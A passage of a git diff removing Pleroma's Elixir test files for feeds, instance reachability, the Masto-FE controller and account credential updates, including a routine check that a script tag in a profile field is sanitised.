- end - - describe "private instance" do - setup do: clear_config([:instance, :public]) - - test "returns 404 for tags feed", %{conn: conn} do - Config.put([:instance, :public], false) - - conn - |> put_req_header("accept", "application/rss+xml") - |> get(tag_feed_path(conn, :feed, "pleromaart")) - |> response(404) - end - end -end diff --git a/test/web/feed/user_controller_test.exs b/test/web/feed/user_controller_test.exs deleted file mode 100644 index 9a5610baa..000000000 --- a/test/web/feed/user_controller_test.exs +++ /dev/null @@ -1,265 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Feed.UserControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - import SweetXml - - alias Pleroma.Config - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - setup do: clear_config([:instance, :federating], true) - - describe "feed" do - setup do: clear_config([:feed]) - - test "gets an atom feed", %{conn: conn} do - Config.put( - [:feed, :post_title], - %{max_length: 10, omission: "..."} - ) - - activity = insert(:note_activity) - - note = - insert(:note, - data: %{ - "content" => "This is :moominmamma: note ", - "attachment" => [ - %{ - "url" => [ - %{"mediaType" => "image/png", "href" => "https://pleroma.gov/image.png"} - ] - } - ], - "inReplyTo" => activity.data["id"] - } - ) - - note_activity = insert(:note_activity, note: note) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - note2 = - insert(:note, - user: user, - data: %{ - "content" => "42 This is :moominmamma: note ", - "inReplyTo" => activity.data["id"] - } - ) - - note_activity2 = insert(:note_activity, note: note2) - object = Object.normalize(note_activity) - - resp = - conn - |> put_req_header("accept", "application/atom+xml") - |> get(user_feed_path(conn, :feed, user.nickname)) - |> response(200) - - activity_titles = - resp - |> SweetXml.parse() - |> SweetXml.xpath(~x"//entry/title/text()"l) - - assert activity_titles == ['42 This...', 'This is...'] - assert resp =~ object.data["content"] - - resp = - conn - |> put_req_header("accept", "application/atom+xml") - |> get("/users/#{user.nickname}/feed", %{"max_id" => note_activity2.id}) - |> response(200) - - activity_titles = - resp - |> SweetXml.parse() - |> SweetXml.xpath(~x"//entry/title/text()"l) - - assert activity_titles == ['This is...'] - end - - test "gets a rss feed", %{conn: conn} do - Pleroma.Config.put( - [:feed, :post_title], - %{max_length: 10, omission: "..."} - ) - - activity = insert(:note_activity) - - note = - insert(:note, - data: %{ - "content" => "This is :moominmamma: note ", - "attachment" => [ - %{ - "url" => [ - %{"mediaType" => "image/png", "href" => "https://pleroma.gov/image.png"} - ] - } - ], - "inReplyTo" => activity.data["id"] - } - ) - - note_activity = insert(:note_activity, note: note) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - note2 = - insert(:note, - user: user, - data: %{ - "content" => "42 This is :moominmamma: note ", - "inReplyTo" => activity.data["id"] - } - ) - - note_activity2 = insert(:note_activity, note: note2) - object = Object.normalize(note_activity) - - resp = - conn - |> put_req_header("accept", "application/rss+xml") - |> get("/users/#{user.nickname}/feed.rss") - |> response(200) - - activity_titles = - resp - |> SweetXml.parse() - |> SweetXml.xpath(~x"//item/title/text()"l) - - assert activity_titles == ['42 This...', 'This is...'] - assert resp =~ object.data["content"] - - resp = - conn - |> put_req_header("accept", "application/rss+xml") - |> get("/users/#{user.nickname}/feed.rss", %{"max_id" => note_activity2.id}) - |> response(200) - - activity_titles = - resp - |> SweetXml.parse() - |> SweetXml.xpath(~x"//item/title/text()"l) - - assert activity_titles == ['This is...'] - end - - test "returns 404 for a missing feed", %{conn: conn} do - conn = - conn - |> put_req_header("accept", "application/atom+xml") - |> get(user_feed_path(conn, :feed, "nonexisting")) - - assert response(conn, 404) - end - - test "returns feed with public and unlisted activities", %{conn: conn} do - user = insert(:user) - - {:ok, _} = CommonAPI.post(user, %{status: "public", visibility: "public"}) - {:ok, _} = CommonAPI.post(user, %{status: "direct", visibility: "direct"}) - {:ok, _} = CommonAPI.post(user, %{status: "unlisted", visibility: "unlisted"}) - {:ok, _} = CommonAPI.post(user, %{status: "private", visibility: "private"}) - - resp = - conn - |> put_req_header("accept", "application/atom+xml") - |> get(user_feed_path(conn, :feed, user.nickname)) - |> response(200) - - activity_titles = - resp - |> SweetXml.parse() - |> SweetXml.xpath(~x"//entry/title/text()"l) - |> Enum.sort() - - assert activity_titles == ['public', 'unlisted'] - end - - test "returns 404 when the user is remote", %{conn: conn} do - user = insert(:user, local: false) - - {:ok, _} = CommonAPI.post(user, %{status: "test"}) - - assert conn - |> put_req_header("accept", "application/atom+xml") - |> get(user_feed_path(conn, :feed, user.nickname)) - |> response(404) - end - end - - # Note: see ActivityPubControllerTest for JSON format tests - describe "feed_redirect" do - test "with html format, it redirects to user feed", %{conn: conn} do - note_activity = insert(:note_activity) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - response = - conn - |> get("/users/#{user.nickname}") - |> response(200) - - assert response == - Fallback.RedirectController.redirector_with_meta( - conn, - %{user: user} - ).resp_body - end - - test "with html format, it returns error when user is not found", %{conn: conn} do - response = - conn - |> get("/users/jimm") - |> json_response(404) - - assert response == %{"error" => "Not found"} - end - - test "with non-html / non-json format, it redirects to user feed in atom format", %{ - conn: conn - } do - note_activity = insert(:note_activity) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - conn = - conn - |> put_req_header("accept", "application/xml") - |> get("/users/#{user.nickname}") - - assert conn.status == 302 - assert redirected_to(conn) == "#{Pleroma.Web.base_url()}/users/#{user.nickname}/feed.atom" - end - - test "with non-html / non-json format, it returns error when user is not found", %{conn: conn} do - response = - conn - |> put_req_header("accept", "application/xml") - |> get(user_feed_path(conn, :feed, "jimm")) - |> response(404) - - assert response == ~S({"error":"Not found"}) - end - end - - describe "private instance" do - setup do: clear_config([:instance, :public]) - - test "returns 404 for user feed", %{conn: conn} do - Config.put([:instance, :public], false) - user = insert(:user) - - {:ok, _} = CommonAPI.post(user, %{status: "test"}) - - assert conn - |> put_req_header("accept", "application/atom+xml") - |> get(user_feed_path(conn, :feed, user.nickname)) - |> response(404) - end - end -end diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs deleted file mode 100644 index 4f0805100..000000000 --- a/test/web/instances/instance_test.exs +++ /dev/null @@ -1,152 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Instances.InstanceTest do - alias Pleroma.Instances.Instance - alias Pleroma.Repo - - use Pleroma.DataCase - - import ExUnit.CaptureLog - import Pleroma.Factory - - setup_all do: clear_config([:instance, :federation_reachability_timeout_days], 1) - - describe "set_reachable/1" do - test "clears `unreachable_since` of existing matching Instance record having non-nil `unreachable_since`" do - unreachable_since = NaiveDateTime.to_iso8601(NaiveDateTime.utc_now()) - instance = insert(:instance, unreachable_since: unreachable_since) - - assert {:ok, instance} = Instance.set_reachable(instance.host) - refute instance.unreachable_since - end - - test "keeps nil `unreachable_since` of existing matching Instance record having nil `unreachable_since`" do - instance = insert(:instance, unreachable_since: nil) - - assert {:ok, instance} = Instance.set_reachable(instance.host) - refute instance.unreachable_since - end - - test "does NOT create an Instance record in case of no existing matching record" do - host = "domain.org" - assert nil == Instance.set_reachable(host) - - assert [] = Repo.all(Ecto.Query.from(i in Instance)) - assert Instance.reachable?(host) - end - end - - describe "set_unreachable/1" do - test "creates new record having `unreachable_since` to current time if record does not exist" do - assert {:ok, instance} = Instance.set_unreachable("https://domain.com/path") - - instance = Repo.get(Instance, instance.id) - assert instance.unreachable_since - assert "domain.com" == instance.host - end - - test "sets `unreachable_since` of existing record having nil `unreachable_since`" do - instance = insert(:instance, unreachable_since: nil) - refute instance.unreachable_since - - assert {:ok, _} = Instance.set_unreachable(instance.host) - - instance = Repo.get(Instance, instance.id) - assert instance.unreachable_since - end - - test "does NOT modify `unreachable_since` value of existing record in case it's present" do - instance = - insert(:instance, unreachable_since: NaiveDateTime.add(NaiveDateTime.utc_now(), -10)) - - assert instance.unreachable_since - initial_value = instance.unreachable_since - - assert {:ok, _} = Instance.set_unreachable(instance.host) - - instance = Repo.get(Instance, instance.id) - assert initial_value == instance.unreachable_since - end - end - - describe "set_unreachable/2" do - test "sets `unreachable_since` value of existing record in case it's newer than supplied value" do - instance = - insert(:instance, unreachable_since: NaiveDateTime.add(NaiveDateTime.utc_now(), -10)) - - assert instance.unreachable_since - - past_value = NaiveDateTime.add(NaiveDateTime.utc_now(), -100) - assert {:ok, _} = Instance.set_unreachable(instance.host, past_value) - - instance = Repo.get(Instance, instance.id) - assert past_value == instance.unreachable_since - end - - test "does NOT modify `unreachable_since` value of existing record in case it's equal to or older than supplied value" do - instance = - insert(:instance, unreachable_since: NaiveDateTime.add(NaiveDateTime.utc_now(), -10)) - - assert instance.unreachable_since - initial_value = instance.unreachable_since - - assert {:ok, _} = Instance.set_unreachable(instance.host, NaiveDateTime.utc_now()) - - instance = Repo.get(Instance, instance.id) - assert initial_value == instance.unreachable_since - end - end - - describe "get_or_update_favicon/1" do - test "Scrapes favicon URLs" do - Tesla.Mock.mock(fn %{url: "https://favicon.example.org/"} -> - %Tesla.Env{ - status: 200, - body: ~s[<html><head><link rel="icon" href="/favicon.png"></head></html>] - } - end) - - assert "https://favicon.example.org/favicon.png" == - Instance.get_or_update_favicon(URI.parse("https://favicon.example.org/")) - end - - test "Returns nil on too long favicon URLs" do - long_favicon_url = - "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" - - Tesla.Mock.mock(fn %{url: "https://long-favicon.example.org/"} -> - %Tesla.Env{ - status: 200, - body: - ~s[<html><head><link rel="icon" href="] <> long_favicon_url <> ~s["></head></html>] - } - end) - - assert capture_log(fn -> - assert nil == - Instance.get_or_update_favicon( - URI.parse("https://long-favicon.example.org/") - ) - end) =~ - "Instance.get_or_update_favicon(\"long-favicon.example.org\") error: %Postgrex.Error{" - end - - test "Handles not getting a favicon URL properly" do - Tesla.Mock.mock(fn %{url: "https://no-favicon.example.org/"} -> - %Tesla.Env{ - status: 200, - body: ~s[<html><head><h1>I wil look down and whisper "GNO.."</h1></head></html>] - } - end) - - refute capture_log(fn -> - assert nil == - Instance.get_or_update_favicon( - URI.parse("https://no-favicon.example.org/") - ) - end) =~ "Instance.scrape_favicon(\"https://no-favicon.example.org/\") error: " - end - end -end diff --git a/test/web/instances/instances_test.exs b/test/web/instances/instances_test.exs deleted file mode 100644 index d2618025c..000000000 --- a/test/web/instances/instances_test.exs +++ /dev/null @@ -1,124 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.InstancesTest do - alias Pleroma.Instances - - use Pleroma.DataCase - - setup_all do: clear_config([:instance, :federation_reachability_timeout_days], 1) - - describe "reachable?/1" do - test "returns `true` for host / url with unknown reachability status" do - assert Instances.reachable?("unknown.site") - assert Instances.reachable?("http://unknown.site") - end - - test "returns `false` for host / url marked unreachable for at least `reachability_datetime_threshold()`" do - host = "consistently-unreachable.name" - Instances.set_consistently_unreachable(host) - - refute Instances.reachable?(host) - refute Instances.reachable?("http://#{host}/path") - end - - test "returns `true` for host / url marked unreachable for less than `reachability_datetime_threshold()`" do - url = "http://eventually-unreachable.name/path" - - Instances.set_unreachable(url) - - assert Instances.reachable?(url) - assert Instances.reachable?(URI.parse(url).host) - end - - test "returns true on non-binary input" do - assert Instances.reachable?(nil) - assert Instances.reachable?(1) - end - end - - describe "filter_reachable/1" do - setup do - host = "consistently-unreachable.name" - url1 = "http://eventually-unreachable.com/path" - url2 = "http://domain.com/path" - - Instances.set_consistently_unreachable(host) - Instances.set_unreachable(url1) - - result = Instances.filter_reachable([host, url1, url2, nil]) - %{result: result, url1: url1, url2: url2} - end - - test "returns a map with keys containing 'not marked consistently unreachable' elements of supplied list", - %{result: result, url1: url1, url2: url2} do - assert is_map(result) - assert Enum.sort([url1, url2]) == result |> Map.keys() |> Enum.sort() - end - - test "returns a map with `unreachable_since` values for keys", - %{result: result, url1: url1, url2: url2} do - assert is_map(result) - assert %NaiveDateTime{} = result[url1] - assert is_nil(result[url2]) - end - - test "returns an empty map for empty list or list containing no hosts / url" do - assert %{} == Instances.filter_reachable([]) - assert %{} == Instances.filter_reachable([nil]) - end - end - - describe "set_reachable/1" do - test "sets unreachable url or host reachable" do - host = "domain.com" - Instances.set_consistently_unreachable(host) - refute Instances.reachable?(host) - - Instances.set_reachable(host) - assert Instances.reachable?(host) - end - - test "keeps reachable url or host reachable" do - url = "https://site.name?q=" - assert Instances.reachable?(url) - - Instances.set_reachable(url) - assert Instances.reachable?(url) - end - - test "returns error status on non-binary input" do - assert {:error, _} = Instances.set_reachable(nil) - assert {:error, _} = Instances.set_reachable(1) - end - end - - # Note: implementation-specific (e.g. Instance) details of set_unreachable/1 - # should be tested in implementation-specific tests - describe "set_unreachable/1" do - test "returns error status on non-binary input" do - assert {:error, _} = Instances.set_unreachable(nil) - assert {:error, _} = Instances.set_unreachable(1) - end - end - - describe "set_consistently_unreachable/1" do - test "sets reachable url or host unreachable" do - url = "http://domain.com?q=" - assert Instances.reachable?(url) - - Instances.set_consistently_unreachable(url) - refute Instances.reachable?(url) - end - - test "keeps unreachable url or host unreachable" do - host = "site.name" - Instances.set_consistently_unreachable(host) - refute Instances.reachable?(host) - - Instances.set_consistently_unreachable(host) - refute Instances.reachable?(host) - end - end -end diff --git a/test/web/masto_fe_controller_test.exs b/test/web/masto_fe_controller_test.exs deleted file mode 100644 index f3b54b5f2..000000000 --- a/test/web/masto_fe_controller_test.exs +++ /dev/null @@ -1,85 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MastoFEController do - use Pleroma.Web.ConnCase - - alias Pleroma.Config - alias Pleroma.User - - import Pleroma.Factory - - setup do: clear_config([:instance, :public]) - - test "put settings", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:accounts"])) - |> put("/api/web/settings", %{"data" => %{"programming" => "socks"}}) - - assert _result = json_response(conn, 200) - - user = User.get_cached_by_ap_id(user.ap_id) - assert user.mastofe_settings == %{"programming" => "socks"} - end - - describe "index/2 redirections" do - setup %{conn: conn} do - session_opts = [ - store: :cookie, - key: "_test", - signing_salt: "cooldude" - ] - - conn = - conn - |> Plug.Session.call(Plug.Session.init(session_opts)) - |> fetch_session() - - test_path = "/web/statuses/test" - %{conn: conn, path: test_path} - end - - test "redirects not logged-in users to the login page", %{conn: conn, path: path} do - conn = get(conn, path) - - assert conn.status == 302 - assert redirected_to(conn) == "/web/login" - end - - test "redirects not logged-in users to the login page on private instances", %{ - conn: conn, - path: path - } do - Config.put([:instance, :public], false) - - conn = get(conn, path) - - assert conn.status == 302 - assert redirected_to(conn) == "/web/login" - end - - test "does not redirect logged in users to the login page", %{conn: conn, path: path} do - token = insert(:oauth_token, scopes: ["read"]) - - conn = - conn - |> assign(:user, token.user) - |> assign(:token, token) - |> get(path) - - assert conn.status == 200 - end - - test "saves referer path to session", %{conn: conn, path: path} do - conn = get(conn, path) - return_to = Plug.Conn.get_session(conn, :return_to) - - assert return_to == path - end - end -end diff --git a/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs b/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs deleted file mode 100644 index 2e6704726..000000000 --- a/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs +++ /dev/null @@ -1,529 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do - alias Pleroma.Repo - alias Pleroma.User - - use Pleroma.Web.ConnCase - - import Mock - import Pleroma.Factory - - setup do: clear_config([:instance, :max_account_fields]) - - describe "updating credentials" do - setup do: oauth_access(["write:accounts"]) - setup :request_content_type - - test "sets user settings in a generic way", %{conn: conn} do - res_conn = - patch(conn, "/api/v1/accounts/update_credentials", %{ - "pleroma_settings_store" => %{ - pleroma_fe: %{ - theme: "bla" - } - } - }) - - assert user_data = json_response_and_validate_schema(res_conn, 200) - assert user_data["pleroma"]["settings_store"] == %{"pleroma_fe" => %{"theme" => "bla"}} - - user = Repo.get(User, user_data["id"]) - - res_conn = - conn - |> assign(:user, user) - |> patch("/api/v1/accounts/update_credentials", %{ - "pleroma_settings_store" => %{ - masto_fe: %{ - theme: "bla" - } - } - }) - - assert user_data = json_response_and_validate_schema(res_conn, 200) - - assert user_data["pleroma"]["settings_store"] == - %{ - "pleroma_fe" => %{"theme" => "bla"}, - "masto_fe" => %{"theme" => "bla"} - } - - user = Repo.get(User, user_data["id"]) - - clear_config([:instance, :federating], true) - - with_mock Pleroma.Web.Federator, - publish: fn _activity -> :ok end do - res_conn = - conn - |> assign(:user, user) - |> patch("/api/v1/accounts/update_credentials", %{ - "pleroma_settings_store" => %{ - masto_fe: %{ - theme: "blub" - } - } - }) - - assert user_data = json_response_and_validate_schema(res_conn, 200) - - assert user_data["pleroma"]["settings_store"] == - %{ - "pleroma_fe" => %{"theme" => "bla"}, - "masto_fe" => %{"theme" => "blub"} - } - - assert_called(Pleroma.Web.Federator.publish(:_)) - end - end - - test "updates the user's bio", %{conn: conn} do - user2 = insert(:user) - - raw_bio = "I drink #cofe with @#{user2.nickname}\n\nsuya.." - - conn = patch(conn, "/api/v1/accounts/update_credentials", %{"note" => raw_bio}) - - assert user_data = json_response_and_validate_schema(conn, 200) - - assert user_data["note"] == - ~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe">#cofe</a> with <span class="h-card"><a class="u-url mention" data-user="#{ - user2.id - }" href="#{user2.ap_id}" rel="ugc">@<span>#{user2.nickname}</span></a></span><br/><br/>suya..) - - assert user_data["source"]["note"] == raw_bio - - user = Repo.get(User, user_data["id"]) - - assert user.raw_bio == raw_bio - end - - test "updates the user's locking status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{locked: "true"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["locked"] == true - end - - test "updates the user's chat acceptance status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{accepts_chat_messages: "false"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["pleroma"]["accepts_chat_messages"] == false - end - - test "updates the user's allow_following_move", %{user: user, conn: conn} do - assert user.allow_following_move == true - - conn = patch(conn, "/api/v1/accounts/update_credentials", %{allow_following_move: "false"}) - - assert refresh_record(user).allow_following_move == false - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["pleroma"]["allow_following_move"] == false - end - - test "updates the user's default scope", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{default_scope: "unlisted"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["source"]["privacy"] == "unlisted" - end - - test "updates the user's privacy", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{source: %{privacy: "unlisted"}}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["source"]["privacy"] == "unlisted" - end - - test "updates the user's hide_followers status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_followers: "true"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["pleroma"]["hide_followers"] == true - end - - test "updates the user's discoverable status", %{conn: conn} do - assert %{"source" => %{"pleroma" => %{"discoverable" => true}}} = - conn - |> patch("/api/v1/accounts/update_credentials", %{discoverable: "true"}) - |> json_response_and_validate_schema(:ok) - - assert %{"source" => %{"pleroma" => %{"discoverable" => false}}} = - conn - |> patch("/api/v1/accounts/update_credentials", %{discoverable: "false"}) - |> json_response_and_validate_schema(:ok) - end - - test "updates the user's hide_followers_count and hide_follows_count", %{conn: conn} do - conn = - patch(conn, "/api/v1/accounts/update_credentials", %{ - hide_followers_count: "true", - hide_follows_count: "true" - }) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["pleroma"]["hide_followers_count"] == true - assert user_data["pleroma"]["hide_follows_count"] == true - end - - test "updates the user's skip_thread_containment option", %{user: user, conn: conn} do - response = - conn - |> patch("/api/v1/accounts/update_credentials", %{skip_thread_containment: "true"}) - |> json_response_and_validate_schema(200) - - assert response["pleroma"]["skip_thread_containment"] == true - assert refresh_record(user).skip_thread_containment - end - - test "updates the user's hide_follows status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_follows: "true"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["pleroma"]["hide_follows"] == true - end - - test "updates the user's hide_favorites status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_favorites: "true"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["pleroma"]["hide_favorites"] == true - end - - test "updates the user's show_role status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{show_role: "false"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["source"]["pleroma"]["show_role"] == false - end - - test "updates the user's no_rich_text status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{no_rich_text: "true"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["source"]["pleroma"]["no_rich_text"] == true - end - - test "updates the user's name", %{conn: conn} do - conn = - patch(conn, "/api/v1/accounts/update_credentials", %{"display_name" => "markorepairs"}) - - assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["display_name"] == "markorepairs" - - update_activity = Repo.one(Pleroma.Activity) - assert update_activity.data["type"] == "Update" - assert update_activity.data["object"]["name"] == "markorepairs" - end - - test "updates the user's avatar", %{user: user, conn: conn} do - new_avatar = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - assert user.avatar == %{} - - res = patch(conn, "/api/v1/accounts/update_credentials", %{"avatar" => new_avatar}) - - assert user_response = json_response_and_validate_schema(res, 200) - assert user_response["avatar"] != User.avatar_url(user) - - user = User.get_by_id(user.id) - refute user.avatar == %{} - - # Also resets it - _res = patch(conn, "/api/v1/accounts/update_credentials", %{"avatar" => ""}) - - user = User.get_by_id(user.id) - assert user.avatar == nil - end - - test "updates the user's banner", %{user: user, conn: conn} do - new_header = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - res = patch(conn, "/api/v1/accounts/update_credentials", %{"header" => new_header}) - - assert user_response = json_response_and_validate_schema(res, 200) - assert user_response["header"] != User.banner_url(user) - - # Also resets it - _res = patch(conn, "/api/v1/accounts/update_credentials", %{"header" => ""}) - - user = User.get_by_id(user.id) - assert user.banner == nil - end - - test "updates the user's background", %{conn: conn, user: user} do - new_header = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - res = - patch(conn, "/api/v1/accounts/update_credentials", %{ - "pleroma_background_image" => new_header - }) - - assert user_response = json_response_and_validate_schema(res, 200) - assert user_response["pleroma"]["background_image"] - # - # Also resets it - _res = - patch(conn, "/api/v1/accounts/update_credentials", %{"pleroma_background_image" => ""}) - - user = User.get_by_id(user.id) - assert user.background == nil - end - - test "requires 'write:accounts' permission" do - token1 = insert(:oauth_token, scopes: ["read"]) - token2 = insert(:oauth_token, scopes: ["write", "follow"]) - - for token <- [token1, token2] do - conn = - build_conn() - |> put_req_header("content-type", "multipart/form-data") - |> put_req_header("authorization", "Bearer #{token.token}") - |> patch("/api/v1/accounts/update_credentials", %{}) - - if token == token1 do - assert %{"error" => "Insufficient permissions: write:accounts."} == - json_response_and_validate_schema(conn, 403) - else - assert json_response_and_validate_schema(conn, 200) - end - end - end - - test "updates profile emojos", %{user: user, conn: conn} do - note = "*sips :blank:*" - name = "I am :firefox:" - - ret_conn = - patch(conn, "/api/v1/accounts/update_credentials", %{ - "note" => note, - "display_name" => name - }) - - assert json_response_and_validate_schema(ret_conn, 200) - - conn = get(conn, "/api/v1/accounts/#{user.id}") - - assert user_data = json_response_and_validate_schema(conn, 200) - - assert user_data["note"] == note - assert user_data["display_name"] == name - assert [%{"shortcode" => "blank"}, %{"shortcode" => "firefox"}] = user_data["emojis"] - end - - test "update fields", %{conn: conn} do - fields = [ - %{"name" => "<a href=\"http://google.com\">foo</a>", "value" => "<script>bar</script>"}, - %{"name" => "link.io", "value" => "cofe.io"} - ] - - account_data = - conn - |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) - |> json_response_and_validate_schema(200) - - assert account_data["fields"] == [ - %{"name" => "<a href=\"http://google.com\">foo</a>", "value" => "bar"}, - %{ - "name" => "link.io", - "value" => ~S(<a href="http://cofe.io" rel="ugc">cofe.io</a>) - } - ] - - assert account_data["source"]["fields"] == [ - %{ - "name" => "<a href=\"http://google.com\">foo</a>", - "value" => "<script>bar</script>" - }, - %{"name" => "link.io", "value" => "cofe.io"} - ] - end - - test "emojis in fields labels", %{conn: conn} do - fields = [ - %{"name" => ":firefox:", "value" => "is best 2hu"}, - %{"name" => "they wins", "value" => ":blank:"} - ] - - account_data = - conn - |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) - |> json_response_and_validate_schema(200) - - assert account_data["fields"] == [ - %{"name" => ":firefox:", "value" => "is best 2hu"}, - %{"name" => "they wins", "value" => ":blank:"} - ] - - assert account_data["source"]["fields"] == [ - %{"name" => ":firefox:", "value" => "is best 2hu"}, - %{"name" => "they wins", "value" => ":blank:"} - ] - - assert [%{"shortcode" => "blank"}, %{"shortcode" => "firefox"}] = account_data["emojis"] - end - - test "update fields via x-www-form-urlencoded", %{conn: conn} do - fields = - [ - "fields_attributes[1][name]=link", - "fields_attributes[1][value]=http://cofe.io", - "fields_attributes[0][name]=foo", - "fields_attributes[0][value]=bar" - ] - |> Enum.join("&") - - account = - conn - |> put_req_header("content-type", "application/x-www-form-urlencoded") - |> patch("/api/v1/accounts/update_credentials", fields) - |> json_response_and_validate_schema(200) - - assert account["fields"] == [ - %{"name" => "foo", "value" => "bar"}, - %{ - "name" => "link", - "value" => ~S(<a href="http://cofe.io" rel="ugc">http://cofe.io</a>) - } - ] - - assert account["source"]["fields"] == [ - %{"name" => "foo", "value" => "bar"}, - %{"name" => "link", "value" => "http://cofe.io"} - ] - end - - test "update fields with empty name", %{conn: conn} do - fields = [ - %{"name" => "foo", "value" => ""}, - %{"name" => "", "value" => "bar"} - ] - - account = - conn - |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) - |> json_response_and_validate_schema(200) - - assert account["fields"] == [ - %{"name" => "foo", "value" => ""} - ] - end - - test "update fields when invalid request", %{conn: conn} do - name_limit = Pleroma.Config.get([:instance, :account_field_name_length]) - value_limit = Pleroma.Config.get([:instance, :account_field_value_length]) - - long_name = Enum.map(0..name_limit, fn _ -> "x" end) |> Enum.join() - long_value = Enum.map(0..value_limit, fn _ -> "x" end) |> Enum.join() - - fields = [%{"name" => "foo", "value" => long_value}] - - assert %{"error" => "Invalid request"} == - conn - |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) - |> json_response_and_validate_schema(403) - - fields = [%{"name" => long_name, "value" => "bar"}] - - assert %{"error" => "Invalid request"} == - conn - |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) - |> json_response_and_validate_schema(403) - - Pleroma.Config.put([:instance, :max_account_fields], 1) - - fields = [ - %{"name" => "foo", "value" => "bar"}, - %{"name" => "link", "value" => "cofe.io"} - ] - - assert %{"error" => "Invalid request"} == - conn - |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) - |> json_response_and_validate_schema(403) - end - end - - describe "Mark account as bot" do - setup do: oauth_access(["write:accounts"]) - setup :request_content_type - - test "changing actor_type to Service makes account a bot", %{conn: conn} do - account = - conn - |> patch("/api/v1/accounts/update_credentials", %{actor_type: "Service"}) - |> json_response_and_validate_schema(200) - - assert account["bot"] - assert account["source"]["pleroma"]["actor_type"] == "Service" - end - - test "changing actor_type to Person makes account a human", %{conn: conn} do - account = - conn - |> patch("/api/v1/accounts/update_credentials", %{actor_type: "Person"}) - |> json_response_and_validate_schema(200) - - refute account["bot"] - assert account["source"]["pleroma"]["actor_type"] == "Person" - end - - test "changing actor_type to Application causes error", %{conn: conn} do - response = - conn - |> patch("/api/v1/accounts/update_credentials", %{actor_type: "Application"}) - |> json_response_and_validate_schema(403) - - assert %{"error" => "Invalid request"} == response - end - - test "changing bot field to true changes actor_type to Service", %{conn: conn} do - account = - conn - |> patch("/api/v1/accounts/update_credentials", %{bot: "true"}) - |> json_response_and_validate_schema(200) - - assert account["bot"] - assert account["source"]["pleroma"]["actor_type"] == "Service" - end - - test "changing bot field to false changes actor_type to Person", %{conn: conn} do - account = - conn - |> patch("/api/v1/accounts/update_credentials", %{bot: "false"}) - |> json_response_and_validate_schema(200) - - refute account["bot"] - assert account["source"]["pleroma"]["actor_type"] == "Person" - end - - test "actor_type field has a higher priority than bot", %{conn: conn} do - account = - conn - |> patch("/api/v1/accounts/update_credentials", %{ - actor_type: "Person", - bot: "true" - }) - |> json_response_and_validate_schema(200) - - refute account["bot"] - assert 